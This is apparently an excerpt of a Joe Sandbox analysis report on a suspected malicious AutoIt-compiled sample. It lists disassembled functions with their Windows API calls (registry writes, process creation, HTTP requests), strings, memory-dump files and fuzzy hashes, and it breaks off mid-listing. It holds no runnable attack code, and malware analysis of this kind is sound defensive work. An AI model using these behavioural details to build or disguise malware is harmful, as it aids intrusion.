                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Load$Image_wcslen$LibraryMessageSend$CursorDestroyExtractFreeIcon
                                      • String ID: .dll$.exe$.icl
                                      • API String ID: 391920613-1154884017
                                      • Opcode ID: 040611ddb0f01d24ab1f63f81c09e8265051061a73cffedf6dcd65a899e6425b
                                      • Instruction ID: 95a9bec6d6f7d86cfe38bcb3071b77ca190f99edfac306c51b59e7f3102778ef
                                      • Opcode Fuzzy Hash: 040611ddb0f01d24ab1f63f81c09e8265051061a73cffedf6dcd65a899e6425b
                                      • Instruction Fuzzy Hash: 0761CBB1504219BEEB149F68CC85FBF77ACFB08B10F108216F915D61D1DBB4A980DBA0
                                      Function 008B90F8 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                      • API String ID: 0-1645009161
                                      • Opcode ID: d0c1a31b458ba19a7b0d336e16c16e6fd1f35eeddd09c66da03eac60ef974d67
                                      • Instruction ID: 59fe5890fcf9ca8b077b35091e9b722b05197f7f3c2c2e2f42a8e507a2e60e29
                                      • Opcode Fuzzy Hash: d0c1a31b458ba19a7b0d336e16c16e6fd1f35eeddd09c66da03eac60ef974d67
                                      • Instruction Fuzzy Hash: 8B81C271A0060AABCB21BF68DC46FEE37A9FF15744F044025FB05DA292EB74DA05D762
                                      Function 00915971 Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadIconW.USER32(00000063), ref: 00915984
                                      • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00915996
                                      • SetWindowTextW.USER32(?,?), ref: 009159AD
                                      • GetDlgItem.USER32(?,000003EA), ref: 009159C2
                                      • SetWindowTextW.USER32(00000000,?), ref: 009159C8
                                      • GetDlgItem.USER32(?,000003E9), ref: 009159D8
                                      • SetWindowTextW.USER32(00000000,?), ref: 009159DE
                                      • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 009159FF
                                      • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00915A19
                                      • GetWindowRect.USER32(?,?), ref: 00915A22
                                      • _wcslen.LIBCMT ref: 00915A89
                                      • SetWindowTextW.USER32(?,?), ref: 00915AC5
                                      • GetDesktopWindow.USER32 ref: 00915ACB
                                      • GetWindowRect.USER32(00000000), ref: 00915AD2
                                      • MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00915B29
                                      • GetClientRect.USER32(?,?), ref: 00915B36
                                      • PostMessageW.USER32(?,00000005,00000000,?), ref: 00915B5B
                                      • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00915B85
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
                                      • String ID:
                                      • API String ID: 895679908-0
                                      • Opcode ID: 70c56bb8b4676778cba75b7f04eef1492afad630ab3ceb08884238b290c4ce7a
                                      • Instruction ID: 879760a61d2f53299d4f9e85d5fae75aa774872a8dea757ee6a8276f651d55f6
                                      • Opcode Fuzzy Hash: 70c56bb8b4676778cba75b7f04eef1492afad630ab3ceb08884238b290c4ce7a
                                      • Instruction Fuzzy Hash: CC717F71A00B09EFDB20DFA8CD85EAEBBF9FF88704F124519E146A25A0D775A940DB50
                                      Function 0093C2DE Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 473registryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0093C3E4
                                      • RegCreateKeyExW.ADVAPI32(?,?,00000000,0094D0D0,00000000,?,00000000,?,?), ref: 0093C46B
                                      • RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0093C4CB
                                      • _wcslen.LIBCMT ref: 0093C51B
                                      • _wcslen.LIBCMT ref: 0093C596
                                      • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 0093C5D9
                                      • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0093C6E8
                                      • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0093C887
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Value$_wcslen$CloseConnectCreateRegistry
                                      • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                      • API String ID: 3165515054-966354055
                                      • Opcode ID: 88d8298833289fa375ce7ccd380371cc304cda2c3f08b47f09af4e11099d87e3
                                      • Instruction ID: 3e972e17607f0158c063ec900520ebefc27a9f9bfaa81b544f276e7a0da7855e
                                      • Opcode Fuzzy Hash: 88d8298833289fa375ce7ccd380371cc304cda2c3f08b47f09af4e11099d87e3
                                      • Instruction Fuzzy Hash: 811238756046019FDB14DF18C895A6AB7E9FF88714F04885DF94AAB3A2CB31FD41CB82
                                      Function 008D0046 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON
                                      Download Yara Rule
                                      APIs
                                      • __scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 008D0046
                                        • Part of subcall function 008D006D: InitializeCriticalSectionAndSpinCount.KERNEL32(0098070C,00000FA0,BCCE9A10,?,?,?,?,008F2353,000000FF), ref: 008D009C
                                        • Part of subcall function 008D006D: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,008F2353,000000FF), ref: 008D00A7
                                        • Part of subcall function 008D006D: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,008F2353,000000FF), ref: 008D00B8
                                        • Part of subcall function 008D006D: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 008D00CE
                                        • Part of subcall function 008D006D: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 008D00DC
                                        • Part of subcall function 008D006D: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 008D00EA
                                        • Part of subcall function 008D006D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 008D0115
                                        • Part of subcall function 008D006D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 008D0120
                                      • ___scrt_fastfail.LIBCMT ref: 008D0067
                                        • Part of subcall function 008D0023: __onexit.LIBCMT ref: 008D0029
                                      Strings
                                      • kernel32.dll, xrefs: 008D00B3
                                      • InitializeConditionVariable, xrefs: 008D00C8
                                      • WakeAllConditionVariable, xrefs: 008D00E2
                                      • SleepConditionVariableCS, xrefs: 008D00D4
                                      • api-ms-win-core-synch-l1-2-0.dll, xrefs: 008D00A2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
                                      • String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                      • API String ID: 66158676-1714406822
                                      • Opcode ID: 0a7c314becb1b14f252a55332e532cef7451184cc5ad6d6b7f7eed76473442ab
                                      • Instruction ID: c110269c21386a8ad9a0eb9145a7a3f267e758d355d3ae58b92e521e364871b5
                                      • Opcode Fuzzy Hash: 0a7c314becb1b14f252a55332e532cef7451184cc5ad6d6b7f7eed76473442ab
                                      • Instruction Fuzzy Hash: 58210776A597116FEB505BA89C06F6933A4FB85F54F00022AF905D73D1EB709C005E51
                                      Function 0091303A Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen
                                      • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                      • API String ID: 176396367-1603158881
                                      • Opcode ID: e5d8bc5561783ee148b27bb6f53fd41eb7890183b0b65a7417bbd1f837dc2381
                                      • Instruction ID: b02d347cfae65ea9664a2313143a05a25e53ffc87d7f7a7f50ca27d11daf9f05
                                      • Opcode Fuzzy Hash: e5d8bc5561783ee148b27bb6f53fd41eb7890183b0b65a7417bbd1f837dc2381
                                      • Instruction Fuzzy Hash: 7DE1E732B0461AABCB149FB8C8416EDB7B9FF14710F54C519E46AF7290DB70AAC5C790
                                      Function 009243DE Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$BuffCharDriveLowerType
                                      • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                      • API String ID: 2055661098-1000479233
                                      • Opcode ID: 984cdf9dfb0c6e1af9be2dc85d88d5b699806630d9818c3d5eeb978ba96ae8d4
                                      • Instruction ID: 895d19f0d1399cf6041b5db420e1c321e79da33006ac72336e91c7db97b6e50b
                                      • Opcode Fuzzy Hash: 984cdf9dfb0c6e1af9be2dc85d88d5b699806630d9818c3d5eeb978ba96ae8d4
                                      • Instruction Fuzzy Hash: D6B1E2316083229FC720DF28E890A7AB7E9FFA5720F50491DF596C7299DB30D945CB92
                                      Function 0093AF20 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON
                                      Download Yara Rule
                                      APIs
                                      • _wcslen.LIBCMT ref: 0093B0BF
                                      • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0093B0D7
                                      • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0093B0FB
                                      • _wcslen.LIBCMT ref: 0093B127
                                      • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0093B13B
                                      • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0093B15D
                                      • _wcslen.LIBCMT ref: 0093B259
                                        • Part of subcall function 009204C5: GetStdHandle.KERNEL32(000000F6), ref: 009204E4
                                      • _wcslen.LIBCMT ref: 0093B272
                                      • _wcslen.LIBCMT ref: 0093B28D
                                      • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0093B2DD
                                      • GetLastError.KERNEL32(00000000), ref: 0093B32E
                                      • CloseHandle.KERNEL32(?), ref: 0093B360
                                      • CloseHandle.KERNEL32(00000000), ref: 0093B371
                                      • CloseHandle.KERNEL32(00000000), ref: 0093B383
                                      • CloseHandle.KERNEL32(00000000), ref: 0093B395
                                      • CloseHandle.KERNEL32(?), ref: 0093B40A
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
                                      • String ID:
                                      • API String ID: 2178637699-0
                                      • Opcode ID: 2028fb4f4b83c688ff3a6f2915aa2d76e7c6a0571daa93157970d631e65bfe44
                                      • Instruction ID: ca2544a0604f4f50204488a057d9f496c663d46b3f81b32b6737f84220e8b7c8
                                      • Opcode Fuzzy Hash: 2028fb4f4b83c688ff3a6f2915aa2d76e7c6a0571daa93157970d631e65bfe44
                                      • Instruction Fuzzy Hash: 8DF168316083409FC714EF28C891B6ABBE5FF85314F14896DF9998B2A2DB71EC45CB52
                                      Function 008B4C9A Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetMenuItemCount.USER32(00981990), ref: 008F3B6F
                                      • GetMenuItemCount.USER32(00981990), ref: 008F3C1F
                                      • GetCursorPos.USER32(?), ref: 008F3C63
                                      • SetForegroundWindow.USER32(00000000), ref: 008F3C6C
                                      • TrackPopupMenuEx.USER32(00981990,00000000,?,00000000,00000000,00000000), ref: 008F3C7F
                                      • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 008F3C8B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
                                      • String ID: 0
                                      • API String ID: 36266755-4108050209
                                      • Opcode ID: 67985fab0ea929496b2f6b47fce30e9f11890eda7a05883d25ea8038e6f95e90
                                      • Instruction ID: 3e93ca972790505a1a2e57185717518cddaa6fe70f4f6579c19a7e1fc023bffb
                                      • Opcode Fuzzy Hash: 67985fab0ea929496b2f6b47fce30e9f11890eda7a05883d25ea8038e6f95e90
                                      • Instruction Fuzzy Hash: 11713370245219BFEB219F39DC5AFAABF64FF05764F100206F624E62E1C7B1A950DB90
                                      Function 00946BA7 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • DestroyWindow.USER32(?,?), ref: 00946CB9
                                        • Part of subcall function 008B84E7: _wcslen.LIBCMT ref: 008B84FA
                                      • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00946D2D
                                      • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00946D4F
                                      • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00946D62
                                      • DestroyWindow.USER32(?), ref: 00946D83
                                      • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,008B0000,00000000), ref: 00946DB2
                                      • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00946DCB
                                      • GetDesktopWindow.USER32 ref: 00946DE4
                                      • GetWindowRect.USER32(00000000), ref: 00946DEB
                                      • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00946E03
                                      • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00946E1B
                                        • Part of subcall function 008CADC4: GetWindowLongW.USER32(?,000000EB), ref: 008CADD2
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
                                      • String ID: 0$tooltips_class32
                                      • API String ID: 2429346358-3619404913
                                      • Opcode ID: 45f565850e9e5807ee59e15f44cc775c5a93313f0199dd86223a4cb3e93cc3ec
                                      • Instruction ID: 88781c8eec59e2695639e5de7dde85d818438d9052cda3310d673fb4c72e344d
                                      • Opcode Fuzzy Hash: 45f565850e9e5807ee59e15f44cc775c5a93313f0199dd86223a4cb3e93cc3ec
                                      • Instruction Fuzzy Hash: A07156B4508245AFD725CF18CC44FAABBF9FB8A304F04481EF995872A1C771E902DB16
                                      Function 0092C394 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON
                                      Download Yara Rule
                                      APIs
                                      • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0092C3CE
                                      • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0092C3E1
                                      • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0092C3F5
                                      • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0092C40E
                                      • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0092C451
                                      • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0092C467
                                      • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0092C472
                                      • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0092C4A2
                                      • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0092C4FA
                                      • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0092C50E
                                      • InternetCloseHandle.WININET(00000000), ref: 0092C519
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
                                      • String ID:
                                      • API String ID: 3800310941-3916222277
                                      • Opcode ID: a548bbd7ac2da622e75cc2a2972ac74946cba89be5cd48af9c3c189fc17f86f8
                                      • Instruction ID: ce92b6edac2fc6b90d4eb436b94566a8d4fb184f58abc541d8c4b6961ac4b597
                                      • Opcode Fuzzy Hash: a548bbd7ac2da622e75cc2a2972ac74946cba89be5cd48af9c3c189fc17f86f8
                                      • Instruction Fuzzy Hash: AB5169F5505218BFEB219F60E888EBF7BBCFF09744F00851AF94596264D774E904AB60
                                      Function 00948461 Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00948484
                                      • GetFileSize.KERNEL32(00000000,00000000), ref: 00948494
                                      • GlobalAlloc.KERNEL32(00000002,00000000), ref: 0094849F
                                      • CloseHandle.KERNEL32(00000000), ref: 009484AC
                                      • GlobalLock.KERNEL32(00000000), ref: 009484BA
                                      • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 009484C9
                                      • GlobalUnlock.KERNEL32(00000000), ref: 009484D2
                                      • CloseHandle.KERNEL32(00000000), ref: 009484D9
                                      • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 009484EA
                                      • OleLoadPicture.OLEAUT32(?,00000000,00000000,0094FC54,?), ref: 00948503
                                      • GlobalFree.KERNEL32(00000000), ref: 00948513
                                      • GetObjectW.GDI32(?,00000018,000000FF), ref: 00948533
                                      • CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00948563
                                      • DeleteObject.GDI32(00000000), ref: 0094858B
                                      • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 009485A1
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                      • String ID:
                                      • API String ID: 3840717409-0
                                      • Opcode ID: c6c113229b26e64561124820a0710146ebf40c88c10c6743cf6fbab6b377fefc
                                      • Instruction ID: 95c9bf9a88831921edba408f86d98dd643c0a8341e3169deecdbda24ea53edd7
                                      • Opcode Fuzzy Hash: c6c113229b26e64561124820a0710146ebf40c88c10c6743cf6fbab6b377fefc
                                      • Instruction Fuzzy Hash: 804159B9601204AFDB118FA5CC88EAF7BBCFF8A711F008058F915E7260DB709901DB20
                                      Function 009213DB Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • VariantInit.OLEAUT32(00000000), ref: 00921420
                                      • VariantCopy.OLEAUT32(?,?), ref: 00921429
                                      • VariantClear.OLEAUT32(?), ref: 00921435
                                      • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00921519
                                      • VarR8FromDec.OLEAUT32(?,?), ref: 00921575
